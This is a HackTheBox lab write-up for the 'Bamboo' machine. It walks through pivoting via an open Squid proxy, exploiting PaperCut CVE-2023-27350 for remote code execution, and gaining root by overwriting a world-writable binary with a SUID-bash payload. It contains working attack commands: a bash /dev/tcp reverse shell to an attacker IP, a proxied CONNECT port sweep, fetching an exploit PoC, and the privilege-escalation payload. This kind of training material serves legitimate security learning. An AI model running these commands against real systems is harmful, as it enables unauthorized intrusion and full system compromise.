Bamboo - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Bamboo is a challenging Hard-tier machine that leverages a Squid forward proxy as the sole ingress point to an internal network. The exploitation chain requires pivoting through the proxy to discover a vulnerable PaperCut NG instance, exploiting CVE-2023-27350 for unauthenticated remote code execution, and finally leveraging a world-writable binary that is re-executed as root by PaperCut’s Mobility print service to achieve privilege escalation. The box emphasizes real-world proxy-based lateral movement and the dangers of improper file permissions in system integration tools.

TL;DR: SSH/Squid enumeration → proxy pivot to internal PaperCut 9191 → CVE-2023-27350 RCE as papercut → world-writable server-command binary re-run as root → bash SUID → root access.

Reconnaissance

Port Scanning

nmap -p- --min-rate 2000 -T4 -oA nmap/alltcp 10.10.11.X

Results:

22/tcp   open  ssh
3128/tcp open  http-proxy   Squid http proxy 4.x

A full port scan reveals only two open ports: SSH on 22 and a Squid HTTP proxy on 3128. Notably absent are traditional web server ports (80, 443), which is a strong indicator that all interesting services are bound to internal interfaces and accessible only through the proxy.

Service Enumeration

nmap -sCV -p 22,3128 -oA nmap/svc 10.10.11.X

SSH (22/tcp):

• OpenSSH service; no credentials available at this stage, parked for later.

Squid Proxy (3128/tcp):

• Squid HTTP forward proxy version 4.x
• Configured to allow proxying of arbitrary requests
• Serves as the gateway to internal network resources

Verify the proxy is functional by testing a request:

# Test against the target itself (should generate a Squid error)
curl -s -x http://10.10.11.X:3128 http://10.10.11.X/ | head

# Test against an external site (confirms Squid is a true forward proxy)
curl -s -x http://10.10.11.X:3128 http://example.com/ -I

Both requests should return Squid-generated error pages (containing headers like X-Squid-Error), confirming the proxy is operational and will forward arbitrary traffic.

Vulnerability Assessment

Identified Vulnerabilities:

1. Squid Forward Proxy Exposure — The proxy allows unrestricted access to internal services bound to loopback/internal interfaces.
2. No Authentication on Proxy — No credentials required to use the proxy; all internal services are reachable.
3. Internal Service Discovery Opportunity — Services not exposed to the public interface can be enumerated through the proxy.

Initial Foothold

Step 1: Enumerate Internal Network Through Squid

The Squid proxy permits requests to 127.0.0.1 and other internal interfaces. We scan for open ports on the loopback address by driving requests through the proxy.

Method A: Using squidscan

# Clone or download squidscan
# https://github.com/zMarch/squidscan
# Edit the proxyURL variable in the script to point to the target:
# proxyURL = "http://10.10.11.X:3128"

python3 squidscan.py http://10.10.11.X:3128 127.0.0.1 1-65535

Method B: Manual CONNECT Sweep (no external tools)

# Test common internal service ports
for p in 80 443 631 8080 8443 9191 9192 9193; do
  printf 'CONNECT 127.0.0.1:%s HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n' "$p" \
    | timeout 3 nc 10.10.11.X 3128 | head -1 | sed "s/^/port $p: /"
done

Key Discovery:

port 9191: HTTP/1.1 200 Connection established

Port 9191 is open internally — this is the PaperCut NG web application interface.

Step 2: Configure Proxychains for Persistent Proxy Routing

Create or edit /etc/proxychains4.conf (or a local copy):

strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
http 10.10.11.X 3128

Verify connectivity to the internal PaperCut service:

proxychains4 -q curl -s http://127.0.0.1:9191/app | head -20
# Should return HTML containing "PaperCut" or "SetupCompleted"

Step 3: Identify PaperCut Version and CVE-2023-27350 Applicability

proxychains4 -q curl -s http://127.0.0.1:9191/app | grep -i "version\|about"

Confirm the PaperCut version is vulnerable to CVE-2023-27350 (affects NG/MF versions < 20.1.7, < 21.2.11, < 22.0.9). The target machine runs a vulnerable build.

CVE-2023-27350 Overview:

• Unauthenticated authentication bypass via the /app?service=page/SetupCompleted endpoint
• Allows access to admin scripting features without credentials
• Enables arbitrary OS command execution through the user-sync / print-script template interface
• Executes commands as the papercut system user

Step 4: Exploit CVE-2023-27350 for RCE

Fetch a fresh, maintained public PoC for CVE-2023-27350:

# Search GitHub for "CVE-2023-27350 PoC" to find a current implementation
# Example repositories maintain active versions of this exploit
wget https://raw.githubusercontent.com/<maintained-repo>/CVE-2023-27350.py

Test command execution to verify RCE:

proxychains4 -q python3 CVE-2023-27350.py \
    --target http://127.0.0.1:9191 \
    --command 'id'

Expected output:

uid=1001(papercut) gid=1001(papercut) groups=1001(papercut)

Step 5: Obtain Reverse Shell as papercut

Set up a netcat listener on your attack machine:

nc -lvnp 4444

Generate and send a reverse shell payload through the exploit:

proxychains4 -q python3 CVE-2023-27350.py \
    --target http://127.0.0.1:9191 \
    --command 'bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"'

Receive the shell and upgrade the TTY:

# In the incoming shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl-Z to background
stty raw -echo
fg
export TERM=xterm

Verify your access:

whoami          # papercut
id              # uid=1001(papercut) gid=1001(papercut)
cat /home/papercut/user.txt

Privilege Escalation

Step 1: Identify the Writable server-command Binary

Enumerate the PaperCut installation directory:

ls -la /home/papercut/server/bin/linux-x64/

Locate the server-command file:

-rwxrwxrwx  1 papercut papercut  ... server-command

This binary is world-writable — any user can modify it. This is the critical vulnerability.

Step 2: Confirm Root Re-execution via pspy

Transfer pspy (a process monitoring tool) to the target:

# On your attack machine, in a directory served by a simple HTTP server:
cd /tmp
python3 -m http.server 8000

# In the papercut shell:
proxychains4 -q wget http://10.10.14.X:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 1000

Observe the process tree. Look for root-owned processes executing:

[UID=0] /home/papercut/server/bin/linux-x64/server-command

This confirms that PaperCut’s Mobility print service or a scheduled “Refresh servers” action re-executes server-command as root. This is the privilege escalation vector.

Step 3: Craft Payload and Overwrite server-command

Replace the world-writable binary with a payload that grants root access:

cd /home/papercut/server/bin/linux-x64/

# Backup the original (optional, for service restoration)
cp server-command server-command.bak

# Create a simple SUID bash payload
cat > server-command <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF

chmod +x server-command

Step 4: Trigger Root Re-execution

The server-command is re-executed as root when:

• The PaperCut admin initiates a “Refresh servers” action (via the web UI)
• The Mobility print import job runs
• A scheduled task executes (monitored via pspy)

Option A: Trigger via Admin UI (if web access is available)

# Via proxychains, access PaperCut's admin interface
# Navigate to: Options → Advanced → (appropriate refresh/import action)
# Click "Refresh" or apply settings

Option B: Wait for Scheduled Execution

Based on pspy output, a root-owned process will eventually execute the modified server-command. Monitor with:

watch -n 1 'ls -la /bin/bash'

Step 5: Gain Root Access via SUID bash

Once the payload executes as root, /bin/bash will be SUID-root:

ls -la /bin/bash
# Expected: -rwsr-xr-x  1 root root ... /bin/bash

# Invoke bash with elevated privileges
/bin/bash -p

# Verify root access
id
# uid=1001(papercut) gid=1001(papercut) euid=0(root) egid=0(root) groups=...

# Read the root flag
cat /root/root.txt

Step 6: Restore Service (Optional)

To keep the machine functional:

cp /home/papercut/server/bin/linux-x64/server-command.bak \
   /home/papercut/server/bin/linux-x64/server-command

Attack Chain Summary

Nmap scan (22, 3128)
    ↓
Squid forward proxy identified
    ↓
Proxy pivot + internal port scan (squidscan / CONNECT sweep)
    ↓
PaperCut NG discovered on internal 9191
    ↓
CVE-2023-27350 unauthenticated RCE exploit
    ↓
Reverse shell → foothold as 'papercut' user
    ↓
Enumerate PaperCut installation directory
    ↓
Identify world-writable /home/papercut/server/bin/linux-x64/server-command
    ↓
Confirm root re-execution with pspy
    ↓
Overwrite server-command with SUID bash payload
    ↓
Trigger refresh action (admin UI or scheduled job)
    ↓
chmod u+s /bin/bash executes as root
    ↓
/bin/bash -p → euid=0 (root access achieved)

Tools Used

Key Learnings

Techniques Practiced

• Forward proxy enumeration and exploitation (Squid)
• Internal network pivoting via HTTP proxies
• Proxychains configuration and usage for persistent proxy routing
• CVE-2023-27350 exploitation mechanics (authentication bypass → RCE)
• Process monitoring (pspy) for privilege escalation path discovery
• Writable binary re-execution patterns (SUID escalation)
• Reverse shell generation and TTY upgrade
• Dynamic payload injection into system binaries

Lessons Learned

1. Proxy pivoting is powerful — A forward proxy exposed to the network can serve as a complete gateway to an otherwise-isolated internal network. Always scan loopback through proxies during enumeration.

2. Version identification is critical — Confirm the exact version of software (PaperCut, in this case) before assuming a CVE applies. Check /app, /about, version endpoints, or HTTP headers.

3. File permissions matter — World-writable binaries in system integration tools are severe vulnerabilities. A readable+writable binary in a privileged service’s execution path is often a direct privesc vector.

4. Process monitoring reveals execution context — pspy is invaluable for understanding when and as-which-user binaries are executed. Use it to confirm privilege escalation assumptions before crafting payloads.

5. PoC freshness — Always fetch CVE exploits by CVE ID from current repositories, not from outdated blog posts or static URLs. Maintained PoCs are updated for patched versions and new bypass techniques.

6. Staged payloads for restricted networks — If direct reverse shells fail due to network restrictions, stage through the same proxy used for pivoting (CONNECT tunnels, HTTP file staging, etc.).

7. Real-world relevance — Squid misconfigurations, service discovery through proxies, and privilege escalation via writable integration binaries are common in enterprise environments. This machine reflects genuine attack patterns.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>